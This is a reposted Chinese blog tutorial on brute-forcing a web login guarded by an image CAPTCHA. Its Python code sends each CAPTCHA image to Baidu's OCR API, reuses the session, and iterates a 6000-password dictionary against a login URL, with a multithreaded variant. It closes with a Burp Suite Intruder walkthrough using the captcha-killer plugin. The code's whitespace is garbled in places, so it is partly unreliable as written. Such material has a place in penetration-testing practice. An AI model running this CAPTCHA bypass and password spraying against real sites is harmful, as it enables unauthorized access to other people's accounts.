带有验证码的爆破
- 爆破环境- 登录页面具有验证码的验证,并且验证码是以图片的形式展示的。- 没有次数限制和时间限制(符合爆破的要求!)
- 爆破原理爆破主要是通过不断提交数据表单来试错,当然前提就是次数不限,当我们遇到有验证码阻拦的时候,我们的思路就要发生变化了(因为后台多了一个验证码的验证)想要通过验证并且试错密码,我们需要获取到验证码。
- 爆破过程1. 获取验证码的思路就是,我们通过API的接口来对图片进行识别(这里的前提是我们需要知道产生验证码的路径,也就是可以获得图片的路径),这里的API在我看来就是一个处理图片的一个函数?通过传递一些参数,来达到返回图片中的数值。
import requestsimport base64#获取access_token的函数(原理也是根据百度提供的AK、SK)defbaidu_orc():# client_id 为官网获取的AK, client_secret 为官网获取的SK host ='https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=官网获取的AK&client_secret=官网获取的SK' response = requests.get(host)if response:return(response.json()['access_token'])# 24.a1d036d11bd73f692d431a0349fe6dc5.2592000.1665890365.282335-27492365# encoding:utf-8#为什么要获取access_token?就是因为我们在调用API接口的时候需要这个的验证,这可能也是百度作为识别用户的一个凭证defget_vcode(): session = requests.session()#这里我们需要将这次申请的session记录下来,方便我们以后的爆破,因为根据验证码的验证机制,我们明白这是设置了session,并且验证码就存在session中,所以要记录下来。 request_url ="https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic" img = session.get('自己的url')# print(session.cookies) img = base64.b64encode(img.content) params ={"image": img} access_token ='[自己的access_token]' request_url = request_url +"?access_token="+ access_token headers ={'content-type':'application/x-www-form-urlencoded'} response = requests.post(request_url, data=params, headers=headers) vcode = response.json()['words_result'][0]['words']return vcode, session#这里返回的vcode就是我们验证码图片中的值,而为什么要返回session,这个session中包含我们的真实的验证码,而vcode就是我们通过API接口获得的值(也不能保证百分百是正确的)
2. 进行密码爆破思路就是,先要取下我们通过API接口获得的验证码,密码的爆破就和之前一样,这次唯一不同的就是,需要每次爆破时都要通过API接口获取爆破验证码。验证码得到验证以后,我们接下来就需要爆破密码。主要的思路就是遍历字典,不断试错。普通版:defblasting_login(passwd):#这里传入的就是我们试错的字典 vcode, session = get_vcode() data ={'username':'root','password': passwd,'verifycode': vcode} login_url ='https://scyes.xyz/safe13/login-prepare.php' resp = session.post(url=login_url, data=data)if("code-eroor"in resp.text):print("验证码出错")print(data)if(("login-fail"notin resp.text)and("code-eroor"notin resp.text)):print(f'登录成功,payload为:{data}')if __name__ =='__main__':withopen('./password-top6000.txt','r')as fp:#读取字典 passwd_list = fp.readlines()#存放数据for passwd in passwd_list: blasting_login(passwd.strip()) sleep(2)#进行休眠2秒 因为API接口那个有限制
多线程:if __name__ =='__main__':withopen('./password-top6000.txt','r')as fp: passwd_list = fp.readlines()for passwd in passwd_list: passwd = passwd.strip() threading.Thread(target=blasting_login,args=(passwd,)).start() sleep(2)
- 利用Burp suite进行爆破1. 准备工作- 需要有Burp suite工具,并且保证可以正常运行- 安装captcha-killer 0.1.2插件,本人觉得就是一个可以在bP上运行的一个模块(原理就是我们上面用python代码实现的爆破一样)在bp上安装插件。2. 爆破过程- 首先开启截断(截断的前提就是我们的浏览器需要开启代理,因为只要开启了代理,我们的bp才可以截断数据包)- 我们在浏览器中访问目标网址这里就可以看到我们的bp成功截断了,我们只需要点击forward让他转发出去,让一下个产生验证码的页面展现出来。这里我们会看到我们点击forward之后的样子,因为我们没有转发vcode.php所以验证码会消失。- 接收验证码我们将此请求发送到我们安装的插件模块中下拉右下角到底,选中words中的值,右键标记为识别结果,我们就可以在右侧看到我们通过API接口获得的验证码了 这里介绍一下这个模块,在左上角就是我们请求的页面,右上角就是我们请求的结果,左下角就是需要我们的API接口,右下角就是结果。- forward验证码页面,Repeater(重放登录接口)我们forward验证码以后,我们就是要进入登录接口,输入账号密码,验证以后,这里我们需要把接口页面Repeater,在Repeater中修改我们的sessionID和刚才那个验证码的session一样。修改完毕后,就可以进行爆破了- 密码爆破将Repeater中修改完的内容发送到Intruder中,选择正确的模式选择payload,这里第一个payload只是简单的密码,第二个则需要注意我们选择与captcha-killer 0.1.2关联,意思就是将我们在captcha-killer 0.1.2中得到验证码作为我们的第二个payload使用,然后点击attack就好了。在Attack的框中我们可以看到我们刚才添加的payload和服务器给我们的反应,因为我这里显示的比较简单,大家从长度可能看不出什么,我们可以从响应中看到,我们收到的login-pass就说明我们成功了。
- 总结1. 带有验证码的爆破思路:就是通过API接口获取验证码的值(当然只是仅限图片验证码),然后重复密码爆破。2. 整个爆破流程:获取验证码->保持session->遍历密码字典->通过一致的session来不断试错->爆破成功
本文转载自: https://blog.csdn.net/weixin_43960066/article/details/126898119
版权归原作者 It_Scanner 所有, 如有侵权,请联系我们删除。
版权归原作者 It_Scanner 所有, 如有侵权,请联系我们删除。